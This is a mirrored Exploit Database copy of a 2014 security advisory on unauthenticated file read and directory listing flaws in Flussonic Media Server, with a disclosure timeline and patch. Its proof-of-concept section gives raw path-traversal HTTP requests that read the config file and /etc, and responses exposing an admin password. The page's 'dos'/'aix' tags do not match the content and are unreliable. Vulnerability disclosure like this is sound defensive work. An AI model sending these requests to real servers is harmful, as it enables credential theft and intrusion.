Flussonic Media Server 4.1.25 < 4.3.3 - Arbitrary File Disclosure

• Exploit Database
• 19 阅读

• 作者： BGA Security
  日期： 2014-07-01
• 类别：

  • dos
  平台：

  • aix
• 来源：https://www.exploit-db.com/exploits/33943/

• Document Title:
  ============
  Flussonic Media Server 4.3.3 Multiple Vulnerabilities
  
  Release Date:
  ===========
  June 29, 2014
  
  Product & Service Introduction:
  ========================
  Flussonic is a mutli-protocol streaming server with support for many protocols, including HDS, HLS, RTMP, RTSP, HTTP, MPEG-TS. Flussonic has the capability of capturing multimedia from external sources, such as video cameras, satellite TV and other multimedia servers (Wowza, Flash Media Server and Red5).
  
  Flussonic operates on the highly flexible and fast Erlang platform that facilitates impressive performance during parallel data processing, failure safety for servers, and scaling options up to a sophisticated distributed data network.
  
  Abstract Advisory Information:
  =======================
  BGA Security Team discovered an arbitrary file read and arbitrary directory listing vulnerability in Flussonic Media Server 4.3.3
  
  Vulnerability Disclosure Timeline:
  =========================
  June 26, 2014:Contact with Vendor
  June 26, 2014:Vendor Response
  June 26, 2014:Version 4.3.4 Deployed
  June 29, 2014:Public Disclosure
  
  Discovery Status:
  =============
  Published
  
  Affected Product(s):
  ===============
  Erlyvideo, LLC
  Product: Flussonic Media Server 4.1.25 - 4.3.3 
  
  Exploitation Technique:
  ==================
  AFR:Remote, Unauthenticated
  ADL:Remote, Authenticated
  
  Severity Level:
  ===========
  High
  
  Technical Details & Description:
  ========================
  1. Arbitrary File Read (Unauthenticated)
  It’s possible to read any files from the server (with the application’s user’s permissions) by a simple HTTP GET request. Flussonic’s web interface login information can be found as plaintext by reading /etc/flussonic/flussonic.conf; thus, it’s possible to login any Flussonic web interface using that method.
  
  2. Arbitrary Directory Listing (Authenticated)
  It’s possible to list any directories’ content sending a HTTP GET request to “flussonic/api/list_files” with the parameter “subpath=directory”. 
  
  
  Proof of Concept (PoC):
  ==================
  Proof of Concept AFR Request & Response:
  
  GET /../../../etc/flussonic/flussonic.conf HTTP/1.1
  Host: 6.6.6.100:8080
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Connection: keep-alive
  
  HTTP/1.1 200 OK
  Connection: keep-alive
  Server: Cowboy
  Date: Thu, 26 Jun 2014 09:50:57 GMT
  Content-Length: 191
  Content-Type: text/plain
  Last-Modified: Tue, 24 Jun 2014 22:10:53 GMT
  Etag: 1452b98181c562b2e2d041a3e1fe2af0cffe8687
  
  # Default ports Flussonic M1 Media server listens on
  http 80;
  http 8080;
  rtmp 1935;
  rtsp 554;
  pulsedb /var/run/flussonic;
  edit_auth flussonic letmein!;
  
  live mylive;
  
  file vod {
  path priv;
  }
  
  2. Proof of Concept ADR Request & Response:
  
  GET /flussonic/api/list_files?subpath=../../../etc HTTP/1.1
  Host: 6.6.6.100:8080
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Authorization: Basic Zmx1c3NvbmljOmxldG1laW4h
  Connection: keep-alive
  
  HTTP/1.1 200 OK
  Connection: keep-alive
  Server: Cowboy
  Date: Thu, 26 Jun 2014 11:04:12 GMT
  Content-Length: 7555
  X-Route-Time: 28
  X-Run-Time: 8090
  Content-Type: application/json
  
  {“files":[{"name":"X11","type":"directory"},{"name":"acpi","type":"directory"},{"name":"adduser.conf","type":"file","prefix":"vod"},{"name":"alternatives","type":"directory"},{"name":"apache2","type":"directory"},{"name":"apm","type":"directory"},
  ………
  {“name":"xml","type":"directory"},{"name":"zsh_command_not_found","type":"file","prefix":"vod"}]}
  
  
  Solution Fix & Patch:
  ================
  Update version 4.3.4
  
  Security Risk:
  ==========
  The risk of the vulnerabilities above estimated as high and medium.
  
  Credits & Authors:
  ==============
  Bilgi Güvenliði Akademisi
  
  Disclaimer & Information:
  ===================
  The information provided in this advisory is provided as it is without any warranty. BGA disclaims allwarranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. BGA or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages.
  
  Domain:http://bga.com.tr/advisories.html
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  Contact:bilgi@bga.com.tr
  
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